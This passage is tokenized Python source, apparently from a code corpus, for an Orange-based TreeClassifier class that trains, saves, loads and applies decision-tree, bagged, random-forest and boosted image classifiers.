"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "feature", "Extract", "ors_", "=_", "[_", "]_", ",_", "flavor_", "=_", "'", "Tree", "'_", ",_", "flavor", "Dict_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "dist", " ", "=", " ", "distance", " ", "algo", "rit", "hm", "\\", "10", ";", " ", " ", " ", " ", "k", " ", "=", " ", "number", " ", "of", " ", "near", "est", " ", "neighbor", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "ORA", "NGE", "\\u", "ENABLED_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "warning_", "(_", "\"", "I", "'", "m", " ", "sorr", "y", ",", " ", "but", " ", "you", " ", "need", " ", "the", " ", "orange", " ", "machine", " ", "learn", "ing", " ", "librar", "y", " ", "install", "ed", " ", "to", " ", "use", " ", "this", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "m", "Class", "Names_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Data", "Set", "Raw_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Data", "Set", "Orange_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Classifier_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Learner", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Tree_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Feature", "Extract", "ors_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Ora", "nge", "Domain_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Fla", "vor", "Params_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Flavor_", "=_", "self_", "._", "m", "Tree", "Type", "Dict_", "[_", "flavor_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "flavor", "Dict_", "is_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "self_", "._", "m", "Flavor_", "==_", "self_", "._", "m", "Tree", "Type", "Dict_", "[_", "\"", "Bag", "ged", "\"_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Fla", "vor", "Params_", "=_", "self_", "._", "m", "Bag", "ged", "Fla", "vor", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "self_", "._", "m", "Flavor_", "==_", "self_", "._", "m", "Tree", "Type", "Dict_", "[_", "\"", "Fore", "st", "\"_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Fla", "vor", "Params_", "=_", "self_", "._", "mf", "ore", "st", "Fla", "vor", "Dict_", "#", "mmm", "m", " ", "tast", "es", " ", "like", " ", " ", " ", "pin", "eco", "nes", " ", "and", " ", "squi", "rre", "ls_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "self_", "._", "m", "Flavor_", "==_", "self_", "._", "m", "Tree", "Type", "Dict_", "[_", "\"", "Boost", "ed", "\"_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Fla", "vor", "Params_", "=_", "self_", "._", "m", "Boost", "ed", "Fla", "vor", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Fla", "vor", "Params_", "=_", "flavor", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "m", "Feature", "Extract", "ors_", "=_", "feature", "Extract", "ors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load_", "(_", "cls_", ",_", "fname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Load", " ", "the", " ", "classif", "ier", " ", "from", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "pickle_", "._", "load_", "(_", "file_", "(_", "fname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "save_", "(_", "self_", ",_", "fname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Save", " ", "the", " ", "classif", "ier", " ", "to", " ", "file", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "=_", "open_", "(_", "fname_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pickle_", "._", "dump_", "(_", "self_", ",_", "output_", ",_", "2_", ")_", "#", " ", "use", " ", "two", " ", "other", "wis", "e", " ", "it", " ", "w_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getstate", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mydi", "ct_", "=_", "self_", "._", "\\u\\u", "dict\\u\\u_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Data", "Set", "Orange_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "mydi", "ct_", "[_", "'", "m", "Data", "Set", "Ora", "nge", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Ora", "nge", "Domain_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "mydi", "ct_", "[_", "'", "m", "Ora", "nge", "Doma", "in", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Learner", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "mydi", "ct_", "[_", "'", "m", "Learner", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Tree_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "mydi", "ct_", "[_", "'", "m", "Tree", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "mydi", "ct_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "setstate", "\\u\\u_", "(_", "self_", ",_", "mydi", "ct_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u\\u", "dict\\u\\u_", "=_", "mydi", "ct_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "Names_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "extractor_", "in_", "self_", "._", "m", "Feature", "Extract", "ors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col", "Names_", "._", "extend_", "(_", "extractor_", "._", "get", "Field", "Names_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "m", "Ora", "nge", "Domain_", "=_", "orange", "_", "._", "Domain_", "(_", "map_", "(_", "orange", "_", "._", "Float", "Variable_", ",_", "col", "Names_", ")_", ",_", "orange", "_", "._", "Enum", "Variable_", "(_", "\"", "type", "\"_", ",_", "values_", "=_", "self_", "._", "m", "Class", "Names_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Data", "Set", "Orange_", "=_", "orange", "_", "._", "Exam", "ple", "Table_", "(_", "self_", "._", "m", "Ora", "nge", "Domain_", ",_", "self_", "._", "m", "Data", "Set", "Raw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "m", "Flavor_", "==_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Learner", "_", "=_", "orange", "_", "._", "Tree", "Learner", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Classifier_", "=_", "self_", "._", "m", "Learner", "_", "(_", "self_", "._", "m", "Data", "Set", "Orange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "self_", "._", "m", "Flavor_", "==_", "1_", ")_", ":_", "#", "bag", "ged_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Tree_", "=_", "orange", "_", "._", "Tree", "Learner", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Learner", "_", "=_", "orn", "g", "Ensemble", "_", "._", "Bag", "ged", "Learner", "_", "(_", "self_", "._", "m", "Tree_", ",_", "t_", "=_", "self_", "._", "m", "Fla", "vor", "Params_", "[_", "\"", "NC", "lass", "ifie", "rs", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Classifier_", "=_", "self_", "._", "m", "Learner", "_", "(_", "self_", "._", "m", "Data", "Set", "Orange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "self_", "._", "m", "Flavor_", "==_", "2_", ")_", ":_", "#", "forest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Tree_", "=_", "orange", "_", "._", "Tree", "Learner", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Learner", "_", "=_", "orn", "g", "Ensemble", "_", "._", "Random", "Fore", "st", "Learner", "_", "(_", "trees_", "=_", "self_", "._", "m", "Fla", "vor", "Params_", "[_", "\"", "NT", "ree", "s", "\"_", "]_", ",_", "attributes_", "=_", "self_", "._", "m", "Fla", "vor", "Params_", "[_", "\"", "NA", "ttr", "ibut", "es", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Classifier_", "=_", "self_", "._", "m", "Learner", "_", "(_", "self_", "._", "m", "Data", "Set", "Orange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "self_", "._", "m", "Flavor_", "==_", "3_", ")_", ":_", "#", "boost", "ed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "m", "Tree_", "=_", "orange", "_", "._", "Tree", "Learner", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Learner", "_", "=_", "orn", "g", "Ensemble", "_", "._", "Boost", "ed", "Learner", "_", "(_", "self_", "._", "m", "Tree_", ",_", "t_", "=_", "self_", "._", "m", "Fla", "vor", "Params_", "[_", "\"", "NC", "lass", "ifie", "rs", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Classifier_", "=_", "self_", "._", "m", "Learner", "_", "(_", "self_", "._", "m", "Data", "Set", "Orange_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "classify_", "(_", "self_", ",_", "image_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Classif", "y", " ", "a", " ", "single", " ", "image", ".", " ", "Tak", "es", " ", "in", " ", "an", " ", "image", " ", "and", " ", "return", "s", " ", "the", " ", "string", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "the", " ", "classificati", "on", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Make", " ", "sure", " ", "you", " ", "have", "d", " ", "load", "ed", " ", "the", " ", "fea", "ut", "ure", " ", "extractors", " ", "and", " ", "the", " ", "train", "ing", " ", "data", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feature", "Vector_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "extractor_", "in_", "self_", "._", "m", "Feature", "Extract", "ors_", ":_", "#", "get", " ", "the", " ", "features_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feats_", "=_", "extractor_", "._", "extract_", "(_", "image_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "feats_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feature", "Vector_", "._", "extend_", "(_", "feats_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "feature", "Vector_", "._", "extend_", "(_", "[_", "self_", "._", "m", "Class", "Names_", "[_", "0_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test_", "=_", "orange", "_", "._", "Exam", "ple", "Table_", "(_", "self_", "._", "m", "Ora", "nge", "Domain_", ",_", "[_", "feature", "Vector_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c_", "=_", "self_", "._", "m", "Classifier_", "(_", "test_", "[_", "0_", "]_", ")_", "#", "classify_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "str_", "(_", "c_", ")_", "#", "return", " ", "to", " ", "class", " ", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Feature", "Extract", "ors_", "(_", "self_", ",_", "extractors", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Add", " ", "a", " ", "list", " ", "of", " ", "feature", " ", "extractors", " ", "to", " ", "the", " ", "classif", "ier", ".", " ", "The", "se", " ", "feature", " ", "extractors", "\\", "10", ";", " ", " ", " ", " ", "must", " ", "match", " ", "the", " ", "ones", " ", "used", " ", "to", " ", "train", " ", "the", " ", "classif", "ier", ".", " ", "If", " ", "the", " ", "classif", "ier", " ", "is", " ", "alr", "ead", "y", "\\", "10", ";", " ", " ", " ", " ", "trained", " ", "then", " ", "this", " ", "method", " ", "will", " ", "require", " ", "tha", "t", " ", "you", " ", "retra", "in", " ", "the", " ", "data", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Feature", "Extract", "ors_", "=_", "extractors", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "train", "Path_", "(_", "self_", ",_", "path_", ",_", "class", "Name_", ",_", "subset_", ",_", "disp_", ",_", "verbose_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "files_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ext_", "in_", "IMA", "GE", "\\u", "FORMATS_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "files_", "._", "extend_", "(_", "glob_", "._", "glob_", "(_", "os_", "._", "path_", "._", "join_", "(_", "path_", ",_", "ext_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "subset_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nfile", "s_", "=_", "min_", "(_", "subset_", ",_", "len_", "(_", "files_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nfile", "s_", "=_", "len_", "(_", "files_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bad", "Feat", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "nfile", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "infile_", "=_", "files_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Open", "ing", " ", "file", ":", " ", "\"_", "+_", "infile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "img_", "=_", "Image_", "(_", "infile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "feature", "Vector_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "extractor_", "in_", "self_", "._", "m", "Feature", "Extract", "ors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feats_", "=_", "extractor_", "._", "extract_", "(_", "img_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "feats_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "feature", "Vector_", "._", "extend_", "(_", "feats_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "bad", "Feat", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "bad", "Feat", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bad", "Feat", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "feature", "Vector_", "._", "extend_", "(_", "[_", "class", "Name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Data", "Set", "Raw_", "._", "append_", "(_", "feature", "Vector_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "'", "Train", "ing", ":", " ", "'_", "+_", "class", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Write", "Text_", "(_", "disp_", ",_", "img_", ",_", "text_", ",_", "Color_", "._", "WHITE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "count_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "img_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "train", "Image", "Set_", "(_", "self_", ",_", "images", "et_", ",_", "class", "Name_", ",_", "subset_", ",_", "disp_", ",_", "verbose_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "count_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bad", "Feat", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "subset_", ">_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "images", "et_", "=_", "images", "et_", "[_", "0_", ":_", "subset_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "img_", "in_", "images", "et_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Open", "ing", " ", "file", ":", " ", "\"_", "+_", "img_", "._", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "feature", "Vector_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "extractor_", "in_", "self_", "._", "m", "Feature", "Extract", "ors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "feats_", "=_", "extractor_", "._", "extract_", "(_", "img_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "feats_", "is_", "not_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "feature", "Vector_", "._", "extend_", "(_", "feats_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "bad", "Feat", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "bad", "Feat", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bad", "Feat", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "feature", "Vector_", "._", "extend_", "(_", "[_", "class", "Name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "m", "Data", "Set", "Raw_", "._", "append_", "(_", "feature", "Vector_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "'", "Train", "ing", ":", " ", "'_", "+_", "class", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "Write", "Text_", "(_", "disp_", ",_", "img_", ",_", "text_", ",_", "Color_", "._", "WHITE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "count_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "img_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tree", "Classifier_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "train_", "(_", "self_", ",_", "images_", ",_", "class", "Names_", ",_", "disp_", "=_", "None_", ",_", "subset_", "=_", "-_", "1_", ",_", "saved", "ata_", "=_", "None_", ",_", "verbose_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Train", " ", "the", " ", "classif", "ier", ".", "\\", "10", ";", " ", " ", " ", " ", "images", " ", "param", "ater", " ", "can", " ", "take", " ", "in", " ", "a", " ", "list", " ", "of", " ", "path", "s", " ", "or", " ", "a", " ", "list", " ", "of", " ", "images", "ets", "\\", "10", ";", " ", " ", " ", " ", "images", " ", "-", " ", "the", " ", "order", " ", "of", " ", "the", " ", "path", "s", " ", "or", " ", "images", "ets", " ", "must", " ", "be", " ", "in", " ", "the", " ", "same", " ", "order", " ", "as", " ", "the", " ", "class", " ", "type", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "Not", "e", " ", "all", " ", "image", " ", "classe", "s", " ", "must", " ", "be", " ", "in", " ", "seperat", "e", " ", "director", "ies", "\\", "10", ";", " ", " ", " ", " ", "-", " ", "The", " ", "class", " ", "names", " ", "must", " ", "als", "o", " ", "align", " ", "to", " ", "the", " ", "director", "ies", " ", "or", " ", "images", "ets", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "disp", " ", "-", " ", "if", " ", "display", " ", "is", " ", "a", " ", "display", " ", "we", " ", "show", " ", "images", " ", "and", " ", "class", " ", "label", ",", "\\", "10", ";", " ", " ", " ", " ", "other", "wis", "e", " ", "not", "hing", " ", "is", " ", "don", "e", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "subse", "t", " ", "-", " ", "if", " ", "subse", "t", " ", "=", " ", "-1", " ", "we", " ", "use", " ", "the", " ", "whole", " ", "dataset", ".", " ", "If", " ", "subse", "t", " ", "=", " ", "#", " ", "then", " ", "we", "\\", "10", ";", " ", " ", " ", " ", "use", " ", "min", "(", "#", "images", ",", "subse", "t", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "saved", "ata", " ", "-", " ", "if", " ", "save", " ", "data", " ", "is", " ", "Non", "e", " ", "not", "hing", " ", "is", " ", "saved", ".", " ", "If", " ", "saved", 